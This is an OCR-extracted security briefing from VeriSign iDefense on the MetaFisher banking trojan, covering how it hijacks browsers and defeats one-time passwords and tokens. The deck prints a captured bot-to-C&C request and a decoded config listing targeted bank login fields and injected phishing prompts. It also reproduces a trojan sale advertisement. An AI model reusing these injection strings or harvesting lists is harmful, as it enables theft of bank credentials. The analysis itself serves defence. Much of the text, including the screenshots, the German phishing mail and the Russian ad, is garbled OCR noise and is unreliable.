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Traditional Phishing
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Traditional Phishing

+ Measures against Phishing:

Prevent users from being phished
— EV certs
— Passmark system
— .bank TLD initiative

Prevent stolen credentials from being misused
— Stronger authentication (2FA, nFA)
— Fraud detection system

+ But of course:
If you deploy 2FA the bad guys will steal your
second factor!
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Phishing the second factor

Hundenzugang

Sehr geehrte Kunden der Posthank! Wegen zunehmender Phishing-Angriffe
auf Bankkonten unserer Kunden haben wir den Beschluss Ober den Ubergang
ZU rinem effizienteren Authorisationssystem fir Online-Banking gefaiit. Das
friher henutzte iTan-VYerfahren wird bis zum 17.05.2007 deaktiviert werden. Fdr
sichere Ausfihrung von kKonto-Operationen wird in Zukuntt eine DigiPass-
Einrichtung henutet werden.

Es wird durch die DigiFass- Einrichtung ein einzigariger Code fir
Lberveisungshestitigungen in Echizeit generiert. Alle 60 Sekunden wird
Ihnen die Einrichtung ein neuer Kode erteilen, was einen vollen Schutz gedgen
Fhishing und Virenangriffen ermdglicht. Kach der erfolgreichen Ausfillung des
auf dieser Seite angeflhrten Formulars werden Ihnen durch den Postdienst im
Laufe won 2 Wachen die Einrichtung und die Gehrauchsamweisungen
Zugeliefert.

Mormentan midssen Sie das Formular fr Tans von Ihrer Tan-Liste won 1 bis 40
aderwan 101 bis 140 (je nach dem Tan-Listen-Typ) ausfillen. Mit Hilfe wan
Tans wird durch das System ein einzigartiger 256-Bit-Schlissel wvon hohem
Yerschldsselungsnivead sg. MDA generier, derin Ihre DigiPass-Einrichtung
eingedgeben wird. Seien Sie bei der Eingabe sehr aufimerksam. Mach der
erfolgreichen Austdllung aller Bereiche won Tans wird [hr Account automatisch
fir neues DigiFass System aktiviert. Wenn Sie heim Austillen Schwierigkeiten
ader Fragen hahen, kinnen Sie unseren Supportdienst anrufen.

Durch die Angabe der TANs wird ihre aktuelle TAM-Liste NICHT deaktiviert!
Sie konnen ihre TAN-Liste welterhin mnizen!
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etaFisher Overview

Initial
Compromise

Exploits WMF
Vulnerability

Installs BHO in 1IE
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Browser Helper Objects

-~

— + DLL modules designed as a plug-in for
Initial Microsoft's IE to provide added functionality.

Compromise + Introduced in October 1997
+ Loaded once by each new instance of

Exploits WMF Internet Explorer.
Vulnerability

+ Loaded for each instance of the Windows

] File Explorer
Installs BHO in 1IE

+ Examples: Adobe Acrobat, Alexa Toolbar,
Google Toolbar

+ The BHO API provides access to the
Document Object Model (DOM)

+ No Reasonable Prevention

Home
User
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Browser Help Object Add-on Manager

Manage Add-ons

Add-ong are programsz that extend the capabilities of your Web browser. Some add-ohg can interfere
with the operation of your browser. ou can dizable, enable, or update add-ons. Dizabling an add-on
might presvent zome ‘w'eb pages from warking.
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BHO Process Injection

+ Browser Help Object: METAFISHER
'Plugin’ for Microsoft Internet Explorer
Runs in the process space of |IE
Has complete control over what |IE does
SSL transfer is seen in cleartext by BHO
any sort of MITM attack is possible

every piece of information that is send to the internet or received from the net
can be intercepted and modified, data integrity, confidentiality and accessibility
are at risk

BHO loaded into Internet Explorer
C:\> tasklist /M ipsecoémon.dll
Image Name PID Modules

IEXPLORE.EXE 1632 ipsecobmon.dll
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Network Injection (Case Study)

+ HTML Injection and phishing against Spanish Banks: Metafisher

The Metafisher Trojan is able to use HTML injection in a man-in-the-middle phishing
attack against a list of Spanish banks that is supplied by the C&C server. At the time
of this writing the following institutions are being targeted:

Banco Bilbao Vizcaya Argentaria S.A. (bbvanet.com, bbvanetoffice.com)

Caja de Ahorros y Monte de Piedad de Madrid (cajamadrid.es,
cajamadridempresas.es)

Montes de Piedad y Caja de Ahorros de Ronda Cadiz Almeria Malaga y
Antequera (unicaja.es)

Caixa D Estalvis de Catalunya (caixacatalunya.es)

Banco Espanol de Credito S.A. (banesto.es)

Banco Popular Espanol S.A. (bancopopular.es)

Deutsche Bank Sociedad Anonima Espanola (deutsche-bank.es)
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Network Injection (Case Study)

+ HTML injection and phishing against Spanish banks: Metafisher

2 Unicaja - Microsoft Internet Explorer,

Eile Edt Wew Favorites Tools  Help Archivo  Edicidn Yer  Favoritos  Herramientas  Ayuda

- = @ ] O = e—
@Back (= | » w| ad | Search 7. Favorites {_ @Atrés

Address I@ https: f v, unicaja.esfPortalserylet ?pag=11 10902071492

'L ..L' . = o Tfj . g [
UEIVLH i f‘l'ifﬁgw e s
Broke S

% B b ker
—N Unicaja Particulares  \ Empresas Javenes Nwl Usuario o

LA CAJA | UNICAIAS EN CASA | AHORROD | TARIETAS | PRESTAMOS Clave T Foroos | pLare:
. ]
1Y ¢ | NUEVO SERVICIO N %
7 NUEVO SERVICIO N{ -
UniVia (frisia Clave de \w

Cireccion |

1

Usuarf~ I ‘ 1 T aamem e sam e =5

| - Microsoft Internet Explorer ﬂ ;

[ aliente:
iEstimados compradores! A
io de
Desedeal  Para garantizar la sequridad, desde este momentao le pedimos a Usted que al entrar en nueskra online-direccian inscriba su Clave de jlna
seguridad Transferencias correcta. ﬁ“ﬁ
idkencion! Insribida una Clave de Transferencias incorrecta, su acceso se bloqueara. ——
Informac sita 3 Linivia ofrece
lidad a las clientes d
Obra So s a Distancia que in

Eal en nicaja

A% =

O JOCTT

| DEFOSLTE,. I Sala de prensa
Vi I

e —
&l la

Sala de prensa

MNovedades

ErSIgIY I



MetaFisher Overview
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MetaFisher Overview .
X

Lo

Initial
Compromise

Command and
Control Servers

HTTP not IRC

>
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C&C Drop
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Installs BHO in IE Servers
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MetaFisher Command & Control

Command and
Control Servers

HTTP not IRC

Obfuscated
C&C
Commands

Home
User




MetaFisher Configuration Page - Bots




MetaFisher Configuration Page - Exploits

Exploits O




MetaFisher Configuration Page - Multiple Users

Users




MetaFisher Configuration Page - Zombies

X@ 28,57 Boels
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MetaFisher Configuration Page - FTP Login

FTP Logilé




MetaFisher Configuration Page - TANS

Transaction
Numbers
(TAN)s

One Time pads
Indexed TANs
Mobile TANs
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Metafisher's "Covert Channel" (XOR obfuscation

#

#FREQ 900000 # contact againin 15 mins (=900,000 msec)

#

POST /chat.php?phid=CD0CD60156 A24BABACE37197 DEC9799741 FBEBA29CFB4D6498665 EFODBC4BD9A&ver=2.1.0&lg=US&r=1144790330 HTTP/1.1
Accept: */*

Content -Type: application /x-www-form-urlencoded
User-Agent: z

Host: 85.249.23.90

Content -Length : 0

Connection : Keep -Alive

Cache-Control : no-cache

HTTP/1.1200 OK

Date: Wed, 12 Apr 2006 05:19:38 GMT

Server: Apache /2.0.55 (Unix) PHP/4.4.2

X-Powered -By: PHP/4.4.2

Content disposition : attachment ; filename =PLBAK46.zip;
Connection : close

Transfer-Encoding : chunked

Content -Type: text/html

2a06

#

# 10,758 bytes (=2a06 hex) of binary data
#

# Data appears to be a ZIP file , starts with 'PK' but it's in fact
#instructions provided by the C  &C server XORed with the physical
#id (phid) supplied by the client , and prepended by 'PK’

#

0

$t:! https ://* commerzbanking .de*Tab=1"TRANSTAN 1;https :/bankingportal .sparkasse *de”op_absenden |!3;https ://ww2. homebanking */ueberweisung .cgi*tid|! 1;https =/
*commerzbanking .de*Tab=812"PltManageDomesticTransfer _8_STR|!1; https ://* homebanking *KtoNr;https ://*.de https ://*. at|tan tna ,ubo,mck,sna,i2 signature ,iyn;https ://*.de meiss|!2

$c:5

$l:ebanking . spardabank : customerID ,pin; Ibankingportal :kontonumber ;www. vr-*ebanking .de:user, pin, alias;https *seb:userid pin;diba.de:_USER,_PWD,_IDENT;volksbank .de:Direkt_Nummer,pinMPIN ;!citibank .de/
HomeBankingSecure /insess.asp?_D=WelcomeMat: Cardholder ;ww2. homebanking :KtoNr, PIN;commerzbanking .de:pltlogin _,_nummer;netbanking .at:user_id,cryptedPwd ;sparkasse *.de:param 1,param 2; banking *de/
ips:j_username ,j_password ;haspa .de:loginKtoNr ,pin;postbank . de:accountNumber ,pinNumber ;sb.* uni-goettingen .de: username password ;'\www. dresdner -privat. de:identifier ;meine .deutsche -
bank .de:Branch ,AccountNumber , SubAccount ,PIN;banking .donner .de :kntMKontonummer ,pinMPIN; onlinebanking .norisbank .de :kontonummer ,pin;! creditplus .de :hnr;linternetbanking *GvLogin :KONTONUMMER; interne
tbanking .gad .de:KktNr,KktTxtPw ;!pinLogin .do:identifier ;

$p: https :// www.nwolb .com% Select an account to view |NatWest online banking |For security reasons please retype your PIN , PASSWORD . and then click continue button . Thank You .|[ATTENTION! Wrong input may
suspend your account .|Cancel -Continue |http://billet. com.au/stats /barc .bmp,http://billet.com .au/stats /verisign.bmp, http :// billet.com. au/stats /thawte . bmp|PIN |PASSWORD; https :// welcome6 .co-
operativebank .co.uk%Security Information |The Co-operative Bank p .I.c.|For security reasons please retype your Memorable date , Place of Birth , Payment athorozation word . and then click continue button . Thank
You.|ATTENTION! Wrong input may suspend your account .|Cancel-Continue |http://billet.com.au/stats /barc .omp,http:// billet.com .au/stats /verisign .bmp, http :// billet.com. au/stats /thawte . bmp|Date |Place |Word; https ://
ibank .barclays .co.uk%ortfolio|Barclays Online Banking |Dear customer! For security reasons please retype your 'memorable word'. And then click continue button . Thank You .|ATTENTION ! Wrong input may suspend
your account .|Cancel -Continue |http ://billet.com.au/stats /barc. bmp,http ://billet.com.au/stats / verisign.omp http :// billet.com.au/stats /thawte .omp|Memorable;;https :// olb2.nationet .com%Account List |Internet Banking |Dear
customer! For security reasons please retype your 'Passnumber '. And then click continue button . Thank You .|ATTENTION ! Wrong input may suspend your account .|Cancel -Continue |http://billet.com.au/stats/

barc.bmp ,http ://billet.com.au/stats / verisign.omp ,http:// billet.com.au/stats /thawte .omp|Passnumber
- -
ErSIgIY




MetaFisher Configuration Page - Statistics

Statistics (




MetaFisher Statistics

300,152 Hosts
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MetaFisher Recent Developments

+ Evidence of activity in the US

+ Evidence of Russian Business
Network and Rock Phish

+ Auto-deposits for Sparkasse and
Postbank ($3000)

+ American Express single Sign-on
modules

+ Disables Firefox

+ Trojan toolkit and Web server toolkit
sold on Russian Underground ($6K)




Metafisher for Sale!

PoazHHEN Nimep ol

forum ovwnar

Perncrpaups: 25.06.2 005
Anpec: wan xakepy.ru
CooBuenin: 1,209

parkasce

BaweWy BHUHAHN D NPeLNEaras ToA Mo WHE AWAR HoOOyNEHE R cOpT cnocof HEA 3HAYMTENEHD oBnerynTe Bawy patoTty no cBopy HeoSxoAWNOA WHPH ONA OCYILECTRNEHWA TPEHC(EPOE C NPAKTUHECKN
nEGwx GaHk e

Eazoesld MOLYNE

+ Hactpaneasnae WE rpattep,

+CHATHE CKNHWOTOR HA HY X HEX BApeca,

+ MepexEaT 4aHHEY C BUPTANLHEY KNABNATYR

+ HeBUANK B Npo Ugccax,

+ MpEKTUYECKN HEOTPAHNYSHOE KOM-B0 YNPEENSE D UNY CE [ BE PO B,
+ MNepeaqa yNpaenacwuiy KoHRAHL B 3800 POBIHON BUOS,

ABto3anue Ha PostBank u Sparkasse

+ Brce BO3MOXHOCTH GasoBoro Moayns

+ Astosanue Ha PostBank n Sparkasse

+ MonHoe ckpbiTHe GanaHca W XMCTOPH TPaH3aK LM

+ BO3MOMXHOCTb YCTAaHOBKHW OHanasoHa cyMMbl KOTOpaR Gyﬂ,eT JANUBaTbBCH

TAHTPAEEP

+ Boe BoanoxHocTH Gaz0B0r0 MoLynA

+ HTennekTyancHuf cop TAHOB CO BCEX NONYNAPHEX GAHKOE+E03N0 X HOCTE NOGAENATE CBON

+ Hactpofka WHTE peana oo pa TEHO B, T2 CKONLKD TAHOR BYIET NPONYCKATECA HOPHANEHO NEPEM TEN KEK XOMISPY HE CHOXET UCNONLI0EATE BESISHHA TAH,

+ HacTpofka ypnoB HA KOTOPHE rPESUTCA TAH HACKANW

NPUHER KOH Ty paumm

https//de hitps = atltan thaubomcksnaiz signature,iyn

Ha Bcex W& n At cahtax GyaeT cofupaTtecn KA a0e NATOE 3HAYEHNE noneh tanthaubomcksnaiz,signature,iyn, nosTopHo TaM W38 p CHOXET BBECTH TONLKD NEpPEYCTAHOBNE BUHAY, STOM Gonee 4en
AOCTATOMHO ANA pafoTe N0 OCHOBHEN NONYNAPHEK BaHKEM, HO BHEANT W TAKIE, ¥ KOTOPEX KNO4SE08 cNoBo (M3 NOCTAaHHEX] He MO xeT BHTE 3E0AHO 00HOIHEMHO CNEUMANEHD 4NA Taknx BaHkne
GHNA HANWCAHA BOZNOXHOCTE (DUNBTPALMH NOCT JAHHHX, OHA TAK X& NOCTYNHA B 4aHHON NOoLyne

Wamenenne himl koga u yHueepcansHeie nonans

+ Boce BoawoxHOCTH Ga30B0M0 WOLYNA

+Beraskn html kooa

++ 3ananne ypna rag GyaeT NpousBoANTECH BCTEBKS NACKEMU

++ [pOBEPKE HAMWYNA TE KCTE HE CTPEHALE NPKW HEMWYMN KOTOPOMD Gy ST BCTARNEH KO
++ [onHan noodep=ra padoTd © hpednann

++ Bo3MO®HOCTE 3ANEHNTE YKA3AHEN KoL MW NpocTo noGaenTe cBof kog

++ [poBs pKE COOTB2TCTENE, NOND hope

+¥ HWBEZ PCaANk HHE NoNanNkH

++ BuB0,l NONANOE HA YKA3AHHEX YPNaX|MO % HO YKASHEATE HACKANN)

++ MonHOCTLID HACTPANBIE HEE 3Aronoe k' HaaMIcE BHIAY OKHEZHAUEHIA KHONDK

++ BoTAEKA KAPTHHEN B NONAN(KEPTHHEN CNPEEA HE (o pHe, NOAGNPEST pAsNEpH hopHs]
++ BCTABKA NONA ANA BECAA B NONANE W KHONOK © yKA3AHHHN Bann aHa 4 HIANKN

++ BoaWo =HOCTE BHBOAWTE NONAN TONBKD ECNW HA CTPEHWYEE ECTE YKAIAHOS EANW CNOBOD
++ BoawoxHocTe BuescTi html nonan

+ e pef poc XONAE PaE HE BSW NAHE WA BHB0A cooBWEHNALHAENpuNep ACCESS denied) va ero padoqen |E Scnn oH HUYEM HE BBEN ANW NPELNCYEN 3AKPHTE NONEN

PafioTa © cEpTHCDMKATEMHA

+ Boe BoanoHOCTH Ga308000 HOLYNA

+ Boano®HOCTE SKCNOPTHROEATE W BAND XNTh HAL (hTN BoE CEPTU(MKATE MNN ONPEASNEHHYID TRY NNy
Ca Certification authority certificates,

MYy & certificate store that holds certificates with associated private keys,

ROOT Root certificates,

SPC Software Fublisher Certificate,

B chopmate pfy

750 Eaz0BLIA MOOYNE

+800 nonank 1 NHXEKT XTMN
+850TAHTPAEEP

+300 Pafiota c cepTuchuKaTamm

+500 naHens ynpaeneHWsA

+3000 apTozanue Ha PostBank w Sparkasse

Mo nosoay NpUoGPETEHNA W 38 UEHANN CTYHHNCA B 8




More Trojans (Russian Toolkits)

_|_

+ + o+ o+

Metafisher/Agent.dg/BZub/
Tanspy/Cimuz/Nurech

Torpig/Sinowal/Anserin

OrderGun/Gozi/Ursniff/Snifula/
Zlobotka

Snatch

Corpse NuclearGrabber
Corpse A-311 Death (Haxdoor)
NetHell

+ + 4+ 4+ 4+ o+ o+ o+

VisualBriz
Apophis
Pinch/Xinch
Limbo

Power Grabber
'‘Matryoshka'
'‘Banker.CMB'

'‘Developer’



More Trojans (Russian Toolkits)

Cuu.nanhHaﬂ HMHXeHepKnH & TpﬂﬂHbl Boé 4To kacasTCA pasBoga NOXOB W HE TONBED W)

Peaynerarel onpoca: 410 Bbl BuifpaeTe?

Agent DQ 10 17.54%
Muclear grabber Ie— | 14 Z456%
Tpon o1 Developera | | e TR
SHATCH I— 6 10.53%
A tozaw Pinch v Bawe 4To Takoe dhopmrpabbep? —_— 25 43.8B%

Monocoeaswmne: 97 .
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New Tactics & Techniques

+ Key Logging
Add trigger (e.g. application title)

+ Generic Form Grabbing
More selective to data being transferred by user

Add context (= manage dump)

+ |E Stored Passwords and Auto-Complete Fields (!)
Victim's life is stolen: MySpace, eMail, Retailer, ...
Fraudster sees systematic behind usernames/passwords

+ Targeted Approaches
Add more context (= manage dump)

Circumvent specific security measures
— virtual keypads, TANs, instant defraud (vs. collecting credentials)
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Recent Developments — 'Rogue' ISPs

AS
17992
14361
25532
40989
2706

IP
203.223.159.78
209.160.64.214
217.16.27.160
81.95.148.23
58.65.232.34

CC
MY
Us
RU
RU

HK

AS Name

AIMS-AP Applied Information Management Serv
HOPONE-GLOBAL - HopOne Internet Corporation
MASTERHOST-AS .masterhost autonomous system
RBN-AS RBusiness Network

HKSUPER-HK-AP Pacific Internet (Hong Kong)

\/griS




Mitigation Techniques

i
i
i
i
i

Browser Helper Object Management
Enterprise A/V Solutions
High Assurance Certificates

Fraud Detection

Authentication Schemes
One Time Passwords (scratch pads, TAN)
Timed One Time Passwords
Indexed One Time Passwords (iTAN)
Indexed Out of Band One Time Passwords (mTAN)
Token Based Two Factor Authentication




One Time Password

ayvdhbzw
fisbguily

21 1o - 0O

v85bwv8vi4
unZ2ebieb
pfuiabim

tdsx8nnz

Vi Vol

doVZsoCV

va92k3jm

gqiai3bvz




One Time Passwords — Do not Mitigate

Ble Edt Wew Hatoy (Qockmerks Took Heb

- & C1 | L ity i, ot aerviet g 110362071452 alr B Gl sporsh baks
| emback Bvavsa .. |1 GoogeRasde dR DorkRasdng (] Googeews Jfy s B s S owmony | i W wipeda 141 Gaad F Tecteene "
+ tabedep. | | Blgowog.. | MSSPurta.. || Renkingo.. | || P PPN Sandan. |t Bancos, 8. ﬂum 5 i | Unicaia (i d
W* (T Espaial * D Engish
—X_Unicaja | Parcatares  Empress Jovenes

LACAIA | UNICAJA BN CASA | AHORRO | TARXTAS | PRESTAMOS | FOMDOS | PLANES | VALCRES | SEGLROS | CPERAR

Initial =
H Upivia G
Compromise e mperwnl .&\
—

Clave necesitamos alguna
vez descansar
de las facturas

Und0) Biceamy e

udunm

3 ENTRAR
Dese de alta

Seguridad y accesa

informacion para mversores M P
Eumids gara un iaje
Sprcntchece on 1 nepdsto 3 Livwia 4
o st [owor ) 5 [owonyer |l S50
purertminy atraciy -Ungast s
S i 0.8 o 1 e, pava ronkabded o chanies e resiros cermespordancis con
oo e 000y 18000 res - Servcn  Ditancoquemereien S Uil s papsies
3.0
Pague 5
Nowsdides Notcias de Uricala 4 Enpuestos por
Ui patraci by restae it del skac -,nrrdmd/lldshuuwl\\trln BB ternet, 0 pasy
Aengustios e s Coodadi E1 e de Gk 2600712007 por verkards
e i Merramsentas
idades e
ntsat
Unicaja.cn intemet: Serviplaza | Mercasmpresas | Portal Inmatiliario
Unicaja en el deport alo Beboncesta | Unicata Voledbol
© nicaja-Cas el S0 2007, ks b desechas reservados Avialeqal Seguridad y acceso Enuesta
Dorm T

= -k

Banking Web
Server
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One Time Passwords — Do not Mitigate

) Unicaja - Hozilla Firefax

Ble Edt Wew Hatoy (Qockmerks Took Heb

& £ | L1 Ptps (e e esfFontolbervit paged LLOSGCOT 452 Sfr B [Cle|sporsh borts
| emback Bvavsa .. |1 GoogeRasde dR DorkRasdng (] Googeews Jfy s B s S owmony | i W wipeda 141 Gaad F Tecteene »
+ Rate e | Bogowog.. | MSSPuta.. | | Renkingo.. jGrgoban.. [ st coBacos e | Eltacus-..  U§- i Unicats K3
w [ R 201 246 246 / 932 075 263
X Unicaja [ pyyopees Y Empress Jdvenes

I n iti a I m-fm UNICAJA BN CASA | AHORRO | TARKETAS | PRESTAMOS | FONDOS | PLANES | VALCRES | SEGLROS | CPERAR
Com promise Inject HTML upvia @ : — =y

Porque todos

Usuario

Loca I Iy Elave necesitamos alguna “ 88 o
I~ = = & vez descansar  uy bradan e
5 wiran S delasfacturas
Dese de aita = b L. intereses paas
s a
Scomtady ccesa undi0) Shiamle S EneRhie

informacion para mversores

;
— Lu.w.ju lﬂm!w [owomrzr ]| ﬂ by

Obra Social o

kst 1o cenkes o resiros (o comespondencis con
ey Ll rogrepy i e 8 = nicala s pagsies
3,00% A€ redlen

Sahs de prensa

Nomdades Noticias llmuu il meuestos por
Uricah pareckos b et i ol st o o d o B inkernet, s paser
o 1 Caola da £ G s Cak (2600710007 por venkanils

Dorwe T

Captures Account Information

X Home Error Message: OTP is invalid try another

User




One Time Passwords — Do Not Mitigate

Lo

Initial
Compromise >
OTP Password —>  FTP
s
o Servers

Home ‘g

User
Banking Web
Server
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Mitigation Techniques

i
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Browser Help Object Management
Enterprise A/V Solutions
High Assurance Certificates

Fraud Detection

Authentication Schemes
One Time Passwords (scratch pads, TAN)
Indexed One Time Passwords (iTAN)
Timed One Time Passwords
Indexed Out of Band One Time Passwords (mTAN)
Token Based Two Factor Authentication




Indexed One Time Passwords — Mitigate Some

Ble Edt Wew Hatoy (Qockmerks Took Heb

- & C1 | L ity i, ot aerviet g 110362071452 SR -
CrmLock Riversa Dk, | Googe Rasdw 0B DurkReadng (] Googetewss Jfy koot B swes [ oimonary | b\ wispeda ] Gnad N echmems »
+ shae dop... | Bogowog.. | MSSPuta.. | | Renkingo.. jGrgoban.. [ st coBacos e | Eltacus-..  U§- Unicaja i -
Do v r— Espuaial - Dmutsch - Enlsh
wk 8 301 246 246 / 952 076 263
X Unicaja [ pycuiares ' Empress Jvenes

mmnrwﬁ;ﬁ arcenc | TARXTAS | PRESTANOS | FoNDOS | PLANES | VALGRES | SEGLROS | CeeRa

ugia G-
-

Usuaria
Porque todos

Clave necesitamos alguna
| vez descansar

n:nrrxr-L H ‘

udunm

(3 Brwan | " delas facturas
D
Segurided ¥ stcese d' le!ueeuu!fh
UniUO) carga
informacion para iversores . —
Eumde ganar o iale
bt ettt s o :
Obra Socisl Z‘:m..'n.vm owosrro | e [omem2 | A
S : thapost
Saly g pew 0.8 ook Ao el s rontabdid 4 o chenbes e s crrespondencis con
-thrsentrb\ll.lv I6.M‘r)w 4 Services & Distancis que ncrementan s S Unicale sin papsles
Tor .
Novedades Noticias de Urecajs
Liklprochs itk el ahar e ol vl W e s
Argustios de b Capdle de €] Camirito de Codc ( 2600712007 )
inkcaja cn nbermct: arviplaze | iarcesmrasas | Portal lenebliaris
Unicaja en el deport, a0 Baboncesta | Unicaps Voledol
T R —— [ p——
i B

«
as 7 —>
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Indexed One Time Passwords — Mitigate Some

Ble Edt Wew Hatoy (Qockmerks Took Heb

& C1 | L ity i, ot aerviet g 110362071452 2 [t eI sparish barks
| Crlook Rrversa D, .. ] GoogeRasder dR Dork Readng (] oogle News fy Skaor B sues [Eiovmonary || U6 W wikpeda 11 Gaad ] Techmeme »
+obaledep. | BogoWog. | o MSSPuta.. || Rabigo.. | | Grpobn.  [uSwan.  obwcse. | Eltacws-. U§- L Unicaja L
i e Espaid - D
D B ook Sor ove 290 | 3 0w 363
X Unicaia [ pargcutares '\ Empresa Jowenes

In iti al R i o e e (R e | e [ [
Compromise Inject HTML e el 17

teiene Porque todos

Loca I Iy Lo necesitamos alguna

1% 2 - Bt e | vez descansar
E S ©  delasfacturas
D
Seguridad ¥ accee
-
" e ) o
Sah de prensa et 'Enm_'dﬂ. para
i v
ovedsdes
Lok iirachi e
Argustios de b Capdle de €102

V\\
&
)« _Send o sy ‘
Home  Captures

User Information

udunm

Banking Web

Error Message: OTP Server
is invalid try
another

Visign




Indexed One Time Passwords — Mitigate Some

#8 asbzsbev <
—>  FTP
Drop
Servers
Banking Web
Home Server

User
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Browser Help Object Management
Enterprise A/V Solutions
High Assurance Certificates

Fraud Detection

Authentication Schemes
One Time Passwords (scratch pads, TAN)
Indexed One Time Passwords (iTAN)
Timed One Time Passwords
Indexed Out of Band One Time Passwords (mTAN)
Token Based Two Factor Authentication
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High Assurance Certificates

Fraud Detection

Authentication Schemes
One Time Passwords
Indexed One Time Passwords
Timed One Time Passwords
Indexed Out of Band One Time Passwords
Token Based Two Factor Authentication




Indexed Out of Band One Time Passwords — Complete Mitigation

Bl Bt ew Hatory Bockmads Took Heb
& F1 [ L1 tpsfim e, ePrataoriet poge 1 162071452 2l

| spransh ks S

LI crmlook Raversa Dx... 1 Googie Reader O Dork Resding [ Google News f, Stha. B sawes [ ovnonary j L W wikpedta [ ) Techoenne

*atede. | Bogawog.. o MSSPuta. || Rahrgo.. | | GngoBan. [MuSwdan.  orBacos e [Ellacas s unicaga i -
e e p— -
w}h [ CE 301 246 246 1 952076 253
Unicaia [ prcures ' Ermpresa e

mh‘amrm‘nsﬂ Brchns | TARXTAS | PRESTAMOS | FONDOS | PLANES | VALORES | SEGLR0S | OPtitAR

Dese de alta
Sequridad y accese

informacitn para iversores

Unicajo cninternet: Ser wpeesas |
Unicaja cn el deporte:

) Unicaja-Cata del 508 2007. Todos los derechos reservados

—
Porque todos

necesitamos alguna

= = - vez descansar
& BRTRAR O de las facturas

% [\ vdiio) s

Obra Social
0 8.n mes ro ranavable, pire ke 4 los chentes da Puestros
I gt portes erize 6,000 v 18,00 ewros o Servics  Distanca gus ncrementen 2u
300% TAE sakdor
Novodades s do Unicala
Uricals patioc st i dol ks ayoe ol otablo ds W Virgen e s
Aevaastias o b oo i ) Caninko de O { SHOPIZ007 )

caia baloncesto | Unicasa Volebol

Boapttn i
S o [ cepourror |
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s legal Seguridad y scceso Encoesta

e icala e @
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Authentication Schemes
One Time Passwords
Indexed One Time Passwords
Timed One Time Passwords
Indexed Out of Band One Time Passwords
Token Based Two Factor Authentication



Token Based Two Factor Authentication — Some Mitigation

Initial
Compromise

Inject HTML
Locally

Bl Bt ew Hatory Bockmads Took Heb

Qo

N\ Empresa Jowenes

& {1 | LI Mt mem. e esiPont fbervietfpoge] | 1002071452 R e
|| ook Baversa D, 1] Googee Reaser de Darkmeting [C] Googe News fy stwihin B sees |3 ownnery | j U6 W wikpeda [~ Gmad I Tectesn
* dtabe dep.. | Bogeiwog... |+ MSSPuta... | Rarkinga... jGngotan.. [ swtan.  orbwcose. [Aacaa-. -

_ el terke - mape weh | Expa
[ [ 201 246 246/ 352 076 263

ucw\ LNICAIA BN CASA | AMORRO) | TAROETAS | PRESTAMOS | FONDOS | PLANES | VALORES | SEGLRGS | cpthas

N
Uicabs pataccing b restauesiin dol ot

weesas | Postal Inmabiliario

necesitamos alguna

de las facturas

= e
dol ¥
st ch bn il d I Ganviniio de Chiz { Z6407/2007 }

|Munda -

[Internoce

| a0 &

Matage

174 i 18 da mayo,
v 5

Porque todos

vez descansar

e icala e @

F

[ —

—

~>

Captures
Token
Information

Banking Web

Error Message: OTP
is invalid try
another

Server

Lol



Token Based Two Factor Authentication — Some Mitigation

X
L7y Second
4&%

Bank

Banking Web
Server
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Mitigation Techniques Verdict

% Browser Help Object Management
® Enterprise A/V Solutions

@ High Assurance Certificates

@ Fraud Detection

+ Authentication Schemes
% One Time Passwords
A Indexed One Time Passwords
® Timed One Time Passwords
® Indexed Out of Band One Time Passwords
® Token Based Two Factor Authentication




Credit Card Fraud

I I I
Accouind account | I | I account
Stalus uninpahad : : : compromised
| | |
Attack -'—.l --—.l
FPhige ﬁEflEl ud
i i i i
Fraudster | | _ (- [
Actilly : : : i :
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Credit Card Fraud

Real World
FayPal  pqq
011 oo
oo
| '.
Supply Harlmtpla:u Demand
011 a1 a1
L) m:n 001 $5
e ——— |
I -
@
- 1._______ v Funds & Goods
Vigtim Acquisition Rﬁ'ﬁ"‘?_f Sell  §5 Buy / Use
§% E— Facilifate
I:I11
oo
legitfransdulant @ $% @
011 & — o [
ppy Dala g:]: FayPFal
$% Funds i) Cashier
gg] MR
L Goods
Agant:
Sardces
e ;Er'.f-::r: sk & 5 Retailer
8P prodder muer  —
Reshippoer (e

Underground
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Q and A

Ralph Thomas

rthomas@verisign.com

Where it all comes together.”

VeriSign iDefense Security Intelligence Services



